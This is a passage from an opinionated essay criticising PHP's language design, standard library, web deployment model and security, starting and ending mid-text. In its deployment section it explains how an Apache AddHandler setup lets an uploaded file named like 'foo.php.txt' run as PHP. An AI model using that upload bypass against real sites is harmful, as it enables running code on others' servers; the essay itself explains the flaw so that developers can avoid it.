rare exception\!\) Those who _do_ grow a clue tend to drift away to other
platforms, reducing the average competence of the whole. This, right here, is
the biggest problem with PHP: it is absolutely the blind leading the blind.

Okay, back to facts.

#### Operators

  * `==` is useless. 
    * It’s not transitive. `"foo" == TRUE`, and `"foo" == 0`… but, of course, `TRUE != 0`.
    * `==` converts to numbers when possible \(`123 == "123foo"`… although `"123" != "123foo"`\), which means it converts to floats when possible. So large hex strings \(like, say, password hashes\) may occasionally compare true when they’re not. Even JavaScript doesn’t do this.
    * For the same reason, `"6" == " 6"`, `"4.2" == "4.20"`, and `"133" == "0133"`. But note that `133 != 0133`, because `0133` is octal. _But_ `"0x10" == "16"` and `"1e3" == "1000"`\!
    * `===` compares values and type… except with objects, where `===` is only true if both operands are actually the same object\! For objects, `==` compares both value \(of every attribute\) and type, which is what `===` does for every other type. What.
  * Comparison isn’t much better. 
    * It’s not even consistent: `NULL < -1`, _and_ `NULL == 0`. Sorting is thus nondeterministic; it depends on the order in which the sort algorithm happens to compare elements.
    * The comparison operators try to sort arrays, two different ways: first by length, then by _elements_. If they have the _same number_ of elements but _different_ sets of keys, though, they are uncomparable.
    * Objects compare as greater than anything else… except other objects, which they are neither less than nor greater than.
    * For a more type-safe `==`, we have `===`. For a more type-safe `<`, we have… nothing. `"123" < "0124"`, always, no matter what you do. Casting doesn’t help, either.
  * Despite the craziness above, and the explicit rejection of Perl’s pairs of string and numeric operators, PHP does not overload `+`. `+` is always addition, and `.` is always concatenation.
  * The `[]` indexing operator can also be spelled `{}`.
  * `[]` can be used on any variable, not just strings and arrays. It returns null and issues no warning.
  * `[]` cannot slice; it only retrieves individual elements.
  * `foo()[0]` is a syntax error. \(Fixed in PHP 5.4.\)
  * Unlike \(literally\!\) every other language with a similar operator, `?:` is _left_ associative. So this:
[code]       $arg = 'T';

      $vehicle = ( ( $arg == 'B' ) ? 'bus' :
                   ( $arg == 'A' ) ? 'airplane' :
                   ( $arg == 'T' ) ? 'train' :
                   ( $arg == 'C' ) ? 'car' :
                   ( $arg == 'H' ) ? 'horse' :
                   'feet' );
      echo $vehicle;
    
[/code]

prints `horse`.

#### Variables

  * There is no way to declare a variable. Variables that don’t exist are created with a null value when first used.
  * Global variables need a `global` declaration before they can be used. This is a natural consequence of the above, so it would be perfectly reasonable, except that globals can’t even be _read_ without an explicit declaration—PHP will quietly create a local with the same name, instead. I’m not aware of another language with similar scoping issues.
  * There are no references. What PHP calls references are really aliases; there’s nothing that’s a step back, like Perl’s references, and there’s no pass-by-object identity like in Python.
  * “Referenceness” infects a variable unlike anything else in the language. PHP is dynamically-typed, so variables generally have no type… except references, which adorn function definitions, variable syntax, and assignment. Once a variable is made a reference \(which can happen anywhere\), it’s stuck as a reference. There’s no obvious way to detect this and un-referencing requires nuking the variable entirely.
  * Okay, I lied. There are “SPL types” which also infect variables: `$x = new SplBool(true); $x = "foo";` will fail. This is like static typing, you see.
  * A reference can be taken to a key that doesn’t exist within an undefined variable \(which becomes an array\). Using a non-existent array normally issues a notice, but this does not.
  * Constants are defined by a function call taking a string; before that, they don’t exist. \(This may actually be a copy of Perl’s `use constant` behavior.\)
  * Variable names are case-sensitive. Function and class names are not. This includes method names, which makes camelCase a strange choice for naming.

#### Constructs

  * `array()` and a few dozen similar constructs are not functions. `array` on its own means nothing, `$func = "array"; $func();` doesn’t work.
  * Array unpacking can be done with the `list($a, $b) = ...` operation. `list()` is function-like syntax just like `array`. I don’t know why this wasn’t given real dedicated syntax, or why the name is so obviously confusing.
  * `(int)` is obviously designed to look like C, but it’s a single token; there’s nothing called `int` in the language. Try it: not only does `var_dump(int)` not work, it throws a parse error because the argument looks like the cast operator.
  * `(integer)` is a synonym for `(int)`. There’s also `(bool)`/`(boolean)` and `(float)`/`(double)`/`(real)`.
  * There’s an `(array)` operator for casting to array and an `(object)` for casting to object. That sounds nuts, but there’s almost a use: you can use `(array)` to have a function argument that’s either a single item or a list, and treat it identically. Except you can’t do that reliably, because if someone passes a single _object_ , casting it to an array will actually produce an array containing that object’s attributes. \(Casting to object performs the reverse operation.\)
  * `include()` and friends are basically C’s `#include`: they dump another source file into yours. There is no module system, even for PHP code.
  * There’s no such thing as a nested or locally-scoped function or class. They’re only global. Including a file dumps its variables into the current function’s scope \(and gives the file access to your variables\), but dumps functions and classes into global scope.
  * Appending to an array is done with `$foo[] = $bar`.
  * `echo` is a statement-y kind of thing, not a function.
  * `empty($var)` is so extremely not-a-function that anything but a variable, e.g. `empty($var || $var2)`, is a parse error. Why on Earth does the parser need to know about `empty`?
  * There’s redundant syntax for blocks: `if (...): ... endif;`, etc.

#### Error handling

  * PHP’s one unique operator is `@` \(actually borrowed from DOS\), which _silences_ errors.
  * PHP errors don’t provide stack traces. You have to install a handler to generate them. \(But you can’t for fatal errors—see below.\)
  * PHP parse errors generally just spew the parse state and nothing more, making a forgotten quote terrible to debug.
  * PHP’s parser refers to e.g. `::` internally as `T_PAAMAYIM_NEKUDOTAYIM`, and the `<<` operator as `T_SL`. I say “internally”, but as above, this is what’s shown to the programmer when `::` or `<<` appears in the wrong place.
  * Most error handling is in the form of printing a line to a server log nobody reads and carrying on.
  * `E_STRICT` is a thing, but it doesn’t seem to actually prevent much and there’s no documentation on what it actually does.
  * `E_ALL` includes all error categories—except `E_STRICT`.
  * Weirdly inconsistent about what’s allowed and what isn’t. I don’t know how `E_STRICT` applies here, but these things are okay:
    * Trying to access a non-existent object property, i.e., `$foo->x`. \(warning\)
    * Using a variable as a function name, or variable name, or class name. \(silent\)
    * Trying to use an undefined constant. \(notice\)
    * Trying to access a property of something that isn’t an object. \(notice\)
    * Trying to use a variable name that doesn’t exist. \(notice\)
    * `2 < "foo"` \(silent\)
    * `foreach (2 as $foo);` \(warning\)
And these things are not:

    * Trying to access a non-existent class constant, i.e., `$foo::x`. \(fatal error\)
    * Using a constant string as a function name, or variable name, or class name. \(parse error\)
    * Trying to call an undefined function. \(fatal error\)
    * Leaving off a semicolon on the last statement in a block or file. \(parse error\)
    * Using `list` and various other quasi-builtins as method names. \(parse error\)
    * Subscripting the return value of a function, i.e., `foo()[0]`. \(parse error; okay in 5.4, see above\)
There are a good few examples of other weird parse errors elsewhere in this
list.

  * The `__toString` method can’t throw exceptions. If you try, PHP will… er, throw an exception. \(Actually a fatal error, which would be passable, except…\)
  * PHP errors and PHP exceptions are completely different beasts. They don’t seem to interact _at all_. 
    * PHP errors \(internal ones, and calls to `trigger_error`\) cannot be caught with `try`/`catch`. 
    * Likewise, exceptions do not trigger error handlers installed by `set_error_handler`.
    * Instead, there’s a separate `set_exception_handler` which handles uncaught exceptions, because wrapping your program’s entry point in a `try` block is impossible in the `mod_php` model.
    * Fatal errors \(e.g., `new ClassDoesntExist()`\) can’t be caught by anything. A _lot_ of fairly innocuous things throw fatal errors, forcibly ending your program for questionable reasons. Shutdown functions still run, but they can’t get a stack trace \(they run at top-level\), and they can’t easily tell if the program exited due to an error or running to completion.
  * There is no `finally` construct, making wrapper code \(set handler, run code, unset handler; monkeypatch, run a test, unmonkeypatch\) tedious and difficult to write. Despite that OO and exceptions were largely copied from Java, this is deliberate, because `finally` “doesn’t make much sense in the context of PHP”. Huh?

#### Functions

  * Function calls are apparently rather expensive.
  * Some built-in functions interact with reference-returning functions in, er, a strange way.
  * As mentioned elsewhere, a lot of things that look like functions or look like they _should_ be functions are actually language constructs, so nothing that works with functions will work with them.
  * Function arguments can have “type hints”, which are basically just static typing. But you can’t require that an argument be an `int` or `string` or `object` or other “core” type, even though every builtin function uses this kind of typing, probably because `int` is not a thing in PHP. \(See above about `(int)`.\) You also can’t use the special pseudo-type decorations used heavily by builtin functions: `mixed`, `number`, or `callback`.
    * As a result, this:
[code]           function foo(string $s) {}

        
          foo("hello world");
        
[/code]

produces the error:

[code]           PHP Catchable fatal error:  Argument 1 passed to foo() must
be an instance of string, string given, called in...

        
[/code]

    * You may notice that the “type hint” given doesn’t actually have to exist; there is no `string` class in this program. If you try to use `ReflectionParameter::getClass()` to examine the type hint dynamically, _then_ it will balk that the class doesn’t exist, making it impossible to actually retrieve the class name.
    * A function’s return value can’t be hinted.
  * Passing the current function’s arguments to another function \(dispatch, not uncommon\) is done by `call_user_func_array('other_function', func_get_args())`. But `func_get_args` throws a fatal error at runtime, complaining that it can’t be a function parameter. How and why is this even a _type_ of error? \(Fixed in PHP 5.3.\)
  * Closures require explicitly naming every variable to be closed-over. Why can’t the interpreter figure this out? Kind of hamstrings the whole feature. \(Okay, it’s because using a variable ever, at all, creates it unless explicitly told otherwise.\)
  * Closed-over variables are “passed” by the same semantics as other function arguments. That is, arrays and strings etc. will be “passed” to the closure by value. Unless you use `&`.
  * Because closed-over variables are effectively automatically-passed arguments and there are no nested scopes, a closure can’t refer to private methods, even if it’s defined inside a class. \(Possibly fixed in 5.4? Unclear.\)
  * No named arguments to functions. Actually explicitly rejected by the devs because it “makes for messier code”.
  * Function arguments with defaults can appear before function arguments without, even though the documentation points out that this is both weird and useless. \(So why allow it?\)
  * Extra arguments to a function are ignored \(except with builtin functions, which raise an error\). Missing arguments are assumed null.
  * “Variadic” functions require faffing about with `func_num_args`, `func_get_arg`, and `func_get_args`. There’s no syntax for such a thing.

#### OO

  * The procedural parts of PHP are designed like C, but the objectional \(ho ho\) parts are designed like Java. I cannot overemphasize how jarring this is. The class system is designed around the _lower-level_ Java language which is naturally and deliberately _more limited_ than PHP’s contemporaries, and I am baffled. 
    * I’ve yet to find a global function that even has a capital letter in its name, yet important built-in classes use camelCase method names and have `getFoo` Java-style accessors.
    * Perl, Python, and Ruby all have some concept of “property” access via code; PHP has only the clunky `__get` and friends. \(The documentation inexplicably refers to such special methods as “overloading”.\)
    * Classes have something like variable declaration \(`var` and `const`\) for class attributes, whereas the procedural part of the language does not.
    * Despite the heavy influence from C++/Java, where objects are fairly opaque, PHP often treats objects like fancy hashes—for example, the default behavior of `foreach ($obj as $key => $value)` is to iterate over every accessible attribute of the object.
  * Classes are not objects. Any metaprogramming has to refer to them by string name, just like functions.
  * Built-in types are not objects and \(unlike Perl\) can in no way be made to look like objects.
  * `instanceof` is an operator, despite that classes were a late addition and most of the language is built on functions and function-ish syntax. Java influence? Classes not first-class? \(I don’t know if they are.\) 
    * But there _is_ an `is_a` function. With an optional argument specifying whether to allow the object to actually be a string naming a class.
    * `get_class` is a function; there’s no `typeof` operator. Likewise `is_subclass_of`.
    * This doesn’t work on builtin types, though \(again, `int` is not a thing\). For that, you need `is_int` etc.
    * Also the right-hand side has to be a variable or literal string; it can’t be an expression. That causes… a parse error.
  * `clone` is an operator?\!
  * Object attributes are `$obj->foo`, but class attributes are `Class::$foo`. \(`$obj::$foo` will try to stringify `$obj` and use it as a class name.\) Class attributes can’t be accessed via objects; the namespaces are completely separate, making class attributes completely useless for polymorphism. Class _methods_ , of course, are exempt from this rule and can be called like any other method. \(I am told C++ also does this. C++ is not a good example of fine OO.\)
  * Also, an instance method can still be called statically \(`Class::method()`\). If done so from another method, this is treated like a regular method call on the current `$this`. I think.
  * `new`, `private`, `public`, `protected`, `static`, etc. Trying to win over Java developers? I’m aware this is more personal taste, but I don’t know why this stuff is necessary in a dynamic language—in C++ most of it’s about compilation and compile-time name resolution.
  * PHP has first-class support for “abstract classes”, which are classes that cannot be instantiated. Code in similar languages achieves this by throwing an exception in the constructor.
  * Subclasses cannot override private methods. Subclass overrides of public methods can’t even _see_ , let alone call, the superclass’s private methods. Problematic for, say, test mocks.
  * Methods cannot be named e.g. “list”, because `list()` is special syntax \(not a function\) and the parser gets confused. There’s no reason this should be ambiguous, and monkeypatching the class works fine. \(`$foo->list()` is not a syntax error.\)
  * If an exception is thrown while evaluating a constructor’s arguments \(e.g., `new Foo(bar())` and `bar()` throws\), the constructor won’t be called, but the _destructor_ will be. \(This is fixed in PHP 5.3.\)
  * Exceptions in `__autoload` and destructors cause fatal errors.
  * There are no constructors or destructors. `__construct` is an initializer, like Python’s `__init__`. There is no method you can call on a class to allocate memory and create an object.
  * There is no default initializer. Calling `parent::__construct()` if the superclass doesn’t define its own `__construct` is a fatal error.
  * OO brings with it an iterator interface that parts of the language \(e.g., `for...as`\) respect, but nothing built-in \(like arrays\) actually implements the interface. If you want an array iterator, you have to wrap it in an `ArrayIterator`. There are no built-in ways to chain or slice or otherwise work with iterators as first-class objects.
  * Interfaces like `Iterator` reserve a good few unprefixed method names. If you want your class to be iterable \(without the default behavior of iterating all of its attributes\), but want to use a common method name like `key` or `next` or `current`, well, too bad.
  * Classes can overload how they convert to strings and how they act when called, but not how they convert to numbers or any other builtin type.
  * Strings, numbers, and arrays all have a string conversion; the language relies heavily on this. Functions and classes _are_ strings. Yet trying to convert a built-in or user-defined object \(even a Closure\) to a string causes an error if it doesn’t define `__toString`. Even `echo` becomes potentially error-prone.
  * There is no overloading for equality or ordering.
  * Static variables inside instance methods are global; they share the same value across all instances of the class.

### Standard library

Perl is “some assembly required”. Python is “batteries included”. PHP is
“kitchen sink, but it’s from Canada and both faucets are labeled C”.

#### General

  * There is no module system. You can compile PHP extensions, but which ones are loaded is specified by php.ini, and your options are for an extension to exist \(and inject its contents into your global namespace\) or not.
  * As namespaces are a recent feature, the standard library isn’t broken up at all. There are thousands of functions in the global namespace.
  * Chunks of the library are wildly inconsistent from one another. 
    * Underscore versus not: `strpos`/`str_rot13`, `php_uname`/`phpversion`, `base64_encode`/`urlencode`, `gettype`/`get_class`
    * “to” versus 2: `ascii2ebcdic`, `bin2hex`, `deg2rad`, `strtolower`, `strtotime`
    * Object+verb versus verb+object: `base64_decode`, `str_shuffle`, `var_dump` versus `create_function`, `recode_string`
    * Argument order: `array_filter($input, $callback)` versus `array_map($callback, $input)`, `strpos($haystack, $needle)` versus `array_search($needle, $haystack)`
    * Prefix confusion: `usleep` versus `microtime`
    * Case insensitive functions vary on where the `i` goes in the name.
    * About half the array functions actually start with `array_`. The others do not.
    * `htmlentities` and `html_entity_decode` are _inverses_ of each other, with completely different naming conventions.
  * Kitchen sink. The libary includes: 
    * Bindings to ImageMagick, bindings to GraphicsMagick \(which is a fork of ImageMagick\), and a handful of functions for inspecting EXIF data \(which ImageMagick can already do\).
    * Functions for parsing bbcode, a very specific kind of markup used by a handful of particular forum packages.
    * Way too many XML packages. `DOM` \(OO\), `DOM XML` \(not\), `libxml`, `SimpleXML`, “XML Parser”, `XMLReader`/`XMLWriter`, and half a dozen more acronyms I can’t identify. There’s surely some kind of difference between these things and you are free to go figure out what that is.
    * Bindings for two particular credit card processors, SPPLUS and MCVE. What?
    * Three ways to access a MySQL database: `mysql`, `mysqli`, and the `PDO` abstraction thing.

#### C influence

This deserves its own bullet point, because it’s so absurd yet permeates the
language. PHP is a high-level, dynamically-typed programming language. Yet a
massive portion of the standard library is still very thin wrappers around C
APIs, with the following results:

  * “Out” parameters, even though PHP can return ad-hoc hashes or multiple arguments with little effort.
  * At least a dozen functions for getting the last error from a particular subsystem \(see below\), even though PHP has had exceptions for eight years.
  * Warts like `mysql_real_escape_string`, even though it has the same arguments as the broken `mysql_escape_string`, just because it’s part of the MySQL C API.
  * Global behavior for non-global functionality \(like MySQL\). Using multiple MySQL connections apparently requires passing a connection handle on every function call.
  * The wrappers are really, really, really thin. For example, calling `dba_nextkey` without calling `dba_firstkey` will segfault.
  * There’s a set of `ctype_*` functions \(e.g. `ctype_alnum`\) that map to the C character-class detection functions of similar names, rather than, say, `isupper`.

#### Genericism

There is none. If a function might need to do two slightly different things,
PHP just has two functions.

How do you sort backwards? In Perl, you might do `sort { $b <=> $a }`. In
Python, you might do `.sort(reverse=True)`. In PHP, there’s a separate
function called `rsort()`.

  * Functions that look up a C error: `curl_error`, `json_last_error`, `openssl_error_string`, `imap_errors`, `mysql_error`, `xml_get_error_code`, `bzerror`, `date_get_last_errors`, others?
  * Functions that sort: `array_multisort`, `arsort`, `asort`, `ksort`, `krsort`, `natsort`, `natcasesort`, `sort`, `rsort`, `uasort`, `uksort`, `usort`
  * Functions that find text: `ereg`, `eregi`, `mb_ereg`, `mb_eregi`, `preg_match`, `strstr`, `strchr`, `stristr`, `strrchr`, `strpos`, `stripos`, `strrpos`, `strripos`, `mb_strpos`, `mb_strrpos`, plus the variations that do replacements
  * There are a lot of aliases as well, which certainly doesn’t help matters: `strstr`/`strchr`, `is_int`/`is_integer`/`is_long`, `is_float`/`is_double`, `pos`/`current`, `sizeof`/`count`, `chop`/`rtrim`, `implode`/`join`, `die`/`exit`, `trigger_error`/`user_error`…
  * `scandir` returns a list of files within a given directory. Rather than \(potentially usefully\) return them in directory order, the function returns the files already sorted. And there’s an optional argument to get them in _reverse_ alphabetical order. There were not, apparently, enough sort functions. \(PHP 5.4 adds a third value for the sort-direction argument that will disable sorting.\)
  * `str_split` breaks a string into chunks of equal length. `chunk_split` breaks a string into chunks of equal length, then joins them together with a delimiter.
  * Reading archives requires a separate set of functions depending on the format. There are six separate groups of such functions, all with different APIs, for bzip2, LZF, phar, rar, zip, and gzip/zlib.
  * Because calling a function with an array as its arguments is so awkward \(`call_user_func_array`\), there are some pairings like `printf`/`vprintf` and `sprintf`/`vsprintf`. These do the same things, but one function takes arguments and the other takes an array of arguments.

#### Text

  * `preg_replace` with the `/e` \(eval\) flag will do a string replace of the matches into the replacement string, _then eval it_.
  * `strtok` is apparently designed after the equivalent C function, which is already a bad idea for various reasons. Nevermind that PHP can easily return an array \(whereas this is awkward in C\), or that the very hack `strtok(3)` uses \(modifying the string in-place\) isn’t used here.
  * `parse_str` parses a _query_ string, with no indication of this in the name. Also it acts just like `register_globals` and dumps the query into your local scope as variables, unless you pass it an array to populate. \(It returns nothing, of course.\)
  * `explode` refuses to split with an empty/missing delimiter. Every other string split implementation anywhere does some useful default in this case; PHP instead has a totally separate function, confusingly called `str_split` and described as “converting a string to an array”.
  * For formatting dates, there’s `strftime`, which acts like the C API and respects locale. There’s also `date`, which has a completely different syntax and only works with English.
  * ”`gzgetss` — Get line from gz-file pointer and strip HTML tags.” I’m dying to know the series of circumstances that led to this function’s conception.
  * `mbstring`
    * It’s all about “multi-byte”, when the problem is character sets.
    * Still operates on regular strings. Has a single global “default” character set. Some functions allow specifying charset, but then it applies to all arguments and the return value.
    * Provides `ereg_*` functions, but those are deprecated. `preg_*` are out of luck, though they can understand UTF-8 by feeding them some PCRE-specific flag.

#### System and reflection

  * There are, in general, a whole lot of functions that blur the line between text and variables. `compact` and `extract` are just the tip of the iceberg.
  * There are several ways to actually be dynamic in PHP, and at a glance there are no obvious differences or relative benefits. `classkit` can modify user-defined classes; `runkit` supersedes it and can modify user-defined anything; the `Reflection*` classes can reflect on most parts of the language; there are a great many individual functions for reporting properties of functions and classes. Are these subsystems independent, related, redundant?
  * `get_class($obj)` returns the object’s class name. `get_class()` returns the name of the class the function is being called in. Setting aside that this one function does two radically different things: `get_class(null)`… acts like the latter. So you can’t trust it on an arbitrary value. Surprise\!
  * The `stream_*` classes allow for implementing custom stream objects for use with `fopen` and other fileish builtins. “tell” cannot be implemented for internal reasons. \(Also there are A LOT of functions involved with this system.\)
  * `register_tick_function` will accept a closure object. `unregister_tick_function` will not; instead it throws an error complaining that the closure couldn’t be converted to a string.
  * `php_uname` tells you about the current OS. Unless PHP can’t tell what it’s running on; then it tells you about the OS it was _built_ on. It doesn’t tell you if this has happened.
  * `fork` and `exec` are not built in. They come with the pcntl extension, but that isn’t included by default. `popen` doesn’t provide a pid.
  * `session_decode` is for reading an arbitrary PHP session string, but it only works if there’s an active session already. And it dumps the result into `$_SESSION`, rather than returning it.

#### Miscellany

  * `curl_multi_exec` doesn’t change `curl_errno` on error, but it does change `curl_error`.
  * `mktime`’s arguments are, in order: hour, minute, second, month, day, year.

### Data manipulation

Programs are nothing more than big machines that chew up data and spit out
more data. A great many languages are designed _around_ the kinds of data they
manipulate, from awk to Prolog to C. If a language can’t handle data, it can’t
do anything.

#### Numbers

  * Integers are signed and 32-bit on 32-bit platforms. Unlike all of PHP’s contemporaries, there is no automatic bigint promotion. So your math might work differently based on _CPU architecture_. Your only option for larger integers is to use the GMP or BC wrapper functions. \(The developers have proposed adding a new, separate, 64-bit type. This is crazy.\)
  * PHP supports octal syntax with a leading `0`, so e.g. `012` will be the number ten. However, `08` becomes the number zero. The `8` \(or `9`\) and any following digits disappear. `01c` is a syntax error.
  * `0x0+2` produces 4. The parser considers the `2` as both part of the hex literal _and_ a separate decimal literal, treating this as `0x002 + 2`. `0x0+0x2` displays the same problem. Strangely, `0x0 +2` is still 4, but `0x0+ 2` is correctly 2. \(This is fixed in PHP 5.4. But it’s also re-broken in PHP 5.4, with the new `0b` literal prefix: `0b0+1` produces 2.\)
  * `pi` is a function. Or there’s a constant, `M_PI`.
  * There is no exponentiation operator, only the `pow` function.

#### Text

  * No Unicode support. Only ASCII will work reliably, really. There’s the `mbstring` extension, mentioned above, but it kinda blows.
  * Which means that using the builtin string functions on UTF-8 text risks corrupting it.
  * Similarly, there’s no concept of e.g. case comparisons outside of ASCII. Despite the proliferation of case-insensitive versions of functions, not one of them will consider `é` equal to `É`.
  * You can’t quote keys in variable interpolation, i.e., `"$foo['key']"` is a syntax error. You can unquote it \(which _would_ generate a warning anywhere else\!\), or use `${...}`/`{$...}`.
  * `"${foo[0]}"` is okay. `"${foo[0][0]}"` is a syntax error. Putting the `$` on the inside is fine with both. Bad copy of similar Perl syntax \(with radically different semantics\)?

#### Arrays

Oh, man.

  * This one datatype acts as a list, ordered hash, ordered set, sparse list, and occasionally some strange combination of those. How does it perform? What kind of memory use will there be? Who knows? Not like I have other options, anyway.
  * `=>` isn’t an operator. It’s a special construct that only exists inside `array(...)` and the `foreach` construct.
  * Negative indexing doesn’t work, since `-1` is just as valid a key as `0`.
  * Despite that this is the language’s only data structure, there is no shortcut syntax for it; `array(...)` _is_ shortcut syntax. \(PHP 5.4 is bringing “literals”, `[...]`.\)
  * The `=>` construct is based on Perl, which allows `foo => 1` without quoting. \(That is, in fact, why it exists in Perl; otherwise it’s just a comma.\) In PHP, you can’t do this without getting a warning; it’s the only language in its niche that has no vetted way to create a hash without quoting string keys.
  * Array functions often have confusing or inconsistent behavior because they have to operate on lists, hashes, or maybe a combination of the two. Consider `array_diff`, which “computers the difference of arrays”.
[code]       $first  = array("foo" => 123, "bar" => 456);

      $second = array("foo" => 456, "bar" => 123);
      echo var_dump(array_diff($first, $second));
    
[/code]

What will this code do? If `array_diff` treats its arguments as hashes, then
obviously these are different; the same keys have different values. If it
treats them as lists, then they’re still different; the values are in the
wrong order.

In fact `array_diff` considers these equal, because it treats them like _sets_
: it compares only values, and ignores order.

  * In a similar vein, `array_rand` has the strange behavior of selecting random _keys_ , which is not that helpful for the most common case of needing to pick from a list of choices.
  * Despite how heavily PHP code relies on preserving key order:
[code]       array("foo", "bar") != array("bar", "foo")

      array("foo" => 1, "bar" => 2) == array("bar" => 2, "foo" => 1)
    
[/code]

I leave it to the reader to figure out what happens if the arrays are mixed.
\(I don’t know.\)

  * `array_fill` cannot create zero-length arrays; instead it will issue a warning and return false.
  * All of the \(many…\) sort functions operate in-place and return nothing. There is no way to create a new sorted copy; you have to copy the array yourself, then sort it, then use the array.
  * But `array_reverse` returns a new array.
  * A list of ordered things and some mapping of keys to values sounds kind of like a great way to handle function arguments, but no.

#### Not arrays

  * The standard library includes “Quickhash”, an OO implementation of “specific strongly-typed classes” for implementing hashes. And, indeed, there are four classes, each dealing with a different combination of key and value types. It’s unclear why the builtin array implementation can’t optimize for these extremely common cases, or what the relative performance is.
  * There’s an `ArrayObject` class \(which implements _five_ different interfaces\) that can wrap an array and have it act like an object. User classes can implement the same interfaces. But it only has a handful of methods, half of which don’t resemble built-in array functions, and built-in array functions don’t know how to operate on an `ArrayObject` or other array-like class.

#### Functions

  * Functions are not data. Closures are actually objects, but regular functions are not. You can’t even refer to them with their bare names; `var_dump(strstr)` issues a warning and assumes you mean the literal string, `"strstr"`. There is no way to discern between an arbitrary string and a function “reference”.
  * `create_function` is basically a wrapper around `eval`. It creates a function with a regular name and installs it globally \(so it will never be garbage collected—don’t use in a loop\!\). It doesn’t actually know anything about the current scope, so it’s not a closure. The name contains a NUL byte so it can never conflict with a regular function \(because PHP’s parser fails if there’s a `NUL` in a file anywhere\).
  * Declaring a function named `__lambda_func` will break `create_function`—the _actual_ implementation is to `eval`-create the function named `__lambda_func`, then internally rename it to the broken name. If `__lambda_func` already exists, the first part will throw a fatal error.

#### Other

  * Incrementing \(`++`\) a `NULL` produces `1`. Decrementing \(`--`\) a `NULL` produces `NULL`. Decrementing a string likewise leaves it unchanged.
  * There are no generators.

### Web framework

#### Execution

  * A single shared file, `php.ini`, controls _massive_ parts of PHP’s functionality and introduces complex rules regarding what overrides what and when. PHP software that expects to be deployed on arbitrary machines has to override settings anyway to normalize its environment, which largely defeats the use of a mechanism like `php.ini` anyway. 
    * PHP looks for `php.ini` in a variety of places, so it may \(or may not…\) be possible to override your host’s. Only _one_ such file will ever be parsed, though, so you can’t just override a couple settings and call it a day.
  * PHP basically runs as CGI. Every time a page is hit, PHP recompiles the whole thing before executing it. Even dev servers for Python toy frameworks don’t act like this.
This has led to a whole market of “PHP accelerators” that just compile once,
accelerating PHP all the way to any other language. Zend, the company behind
PHP, has made this part of their business model.

  * For quite a long time, PHP errors went to the client by default—I guess to help during development. I don’t think this is true any more, but I still see the occasional mysql error spew at the top of a page.
  * PHP is full of strange “easter eggs” like producing the PHP logo with the right query argument. Not only is this completely irrelevant to building _your_ application, but it allows detecting whether you’re using PHP \(and perhaps roughly guessing what version\), regardless of how much `mod_rewrite`, FastCGI, reverse proxying, or `Server:` configuration you’re doing.
  * Blank lines before or after the `<?php ... ?>` tags, even in libraries, count as literal text and is interpolated into the response \(or causes “headers already sent” errors\). Your options are to either strictly avoid extra blank lines at the end of every file \(the one after the `?>` doesn’t count\) or to just leave off the `?>` closing token.

#### Deployment

Deployment is often cited as the biggest advantage of PHP: drop some files and
you’re done. Indeed, that’s much easier than running a whole process as you
may have to do with Python or Ruby or Perl. But PHP leaves plenty to be
desired.

Across the board, I’m in favor of running Web applications as app servers and
reverse-proxying to them. It takes minimal effort to set this up, and the
benefits are plenty: you can manage your web server and app separately, you
can run as many or few app processes on as many machines as you want without
needing more web servers, you can run the app as a different user with zero
effort, you can switch web servers, you can take down the app without touching
the web server, you can do seamless deployment by just switching where a fifo
points, etc. Welding your application to your web server is absurd and there’s
no good reason to do it any more.

  * PHP is naturally tied to Apache. Running it separately, or with any other webserver, requires just as much mucking around \(possibly more\) as deploying any other language.
  * `php.ini` applies to every PHP application run anywhere. There is only one `php.ini` file, and it applies globally; if you’re on a shared server and need to change it, or if you run two applications that need different settings, you’re out of luck; you have to apply the union of all necessary settings and pare them down from inside the apps themselves using `ini_set` or in Apache’s configuration file or in `.htaccess`. If you can. Also wow that is a lot of places you need to check to figure out how a setting is getting its value.
  * Similarly, there is no easy way to “insulate” a PHP application and its dependencies from the rest of a system. Running two applications that require different versions of a library, or even PHP itself? Start by building a second copy of Apache.
  * The “bunch of files” approach, besides making routing a huge pain in the ass, also means you have to carefully whitelist or blacklist what stuff is actually available, because your URL hierarchy is also your entire code tree. Configuration files and other “partials” need C-like guards to prevent them from being loaded directly. Version control noise \(e.g., `.svn`\) needs protecting. With `mod_php`, _everything_ on your filesystem is a potential entry point; with an app server, there’s only one entry point, and only the URL controls whether it’s invoked.
  * You can’t seamlessly upgrade a bunch of files that run CGI-style, unless you want crashes and undefined behavior as users hit your site halfway through the upgrade.
  * Despite how “simple” it is to configure Apache to run PHP, there are some subtle traps even there. While the PHP docs suggest using `SetHandler` to make `.php` files run as PHP, `AddHandler` appears to work just as well, and in fact Google gives me twice as many results for it. Here’s the problem.
When you use `AddHandler`, you are telling Apache that “execute this as php”
is _one possible_ way to handle `.php` files. **But**\! Apache doesn’t have
the same idea of file extensions that every human being on the planet does.
It’s designed to support, say, `index.html.en` being recognized as both
English and HTML. To Apache, a file can have _any number_ of file extensions
simultaneously.

Imagine you have a file upload form that dumps files into some public
directory. To make sure nobody uploads PHP files, you just check that they
don’t have a `.php` extension. All an attacker has to do is upload a file
named `foo.php.txt`; your uploader won’t see a problem, but Apache _will_
recognize it as PHP, and it will happily execute.

The problem here isn’t “using the original filename” or “not validating
better”; the problem is that your web server is configured to run any old code
it runs across—precisely the same property that makes PHP “easy to deploy”.
CGI required `+x`, which was _something_ , but PHP doesn’t even do that. And
this is no theoretical problem; I’ve found multiple live sites with this
issue.

#### Missing features

I consider all of these to be varying levels of critical for building a Web
application. It seems reasonable that PHP, with its major selling point being
that it’s a “Web language”, ought to have some of them.

  * No template system. There’s PHP itself, but nothing that acts as a big interpolator rather than a program.
  * No XSS filter. No, “remember to use `htmlspecialchars`” is not an XSS filter. This is.
  * No CSRF protection. You get to do it yourself.
  * No generic standard database API. Stuff like PDO has to wrap every individual database’s API to abstract the differences away.
  * No routing. Your website looks exactly like your filesystem. Many developers have been tricked into thinking `mod_rewrite` \(and `.htaccess` in general\) is an acceptable substitute.
  * No authentication or authorization.
  * No dev server. \(“Fixed” in 5.4. Led to the `Content-Length` vuln below. Also, you have to port all your rewrite rules to a PHP wrapper thing, because there’s no routing.\)
  * No interactive debugging.
  * No coherent deployment mechanism; only “copy all these files to the server”.

### Security

#### Language boundaries

PHP’s poor security reputation is largely because it will take arbitrary data
from one language and dump it into another. This is a bad idea. `"<script>"`
may not mean anything in SQL, but it sure does in HTML.

Making this worse is the common cry for “sanitizing your inputs”. That’s
completely _wrong_ ; you can’t wave a magic wand to make a chunk of data
inherently “clean”. What you need to do is speak the language: use
placeholders with SQL, use argument lists when spawning processes, etc.

  * PHP outright _encourages_ “sanitizing”: there’s an entire data filtering extension for doing it.
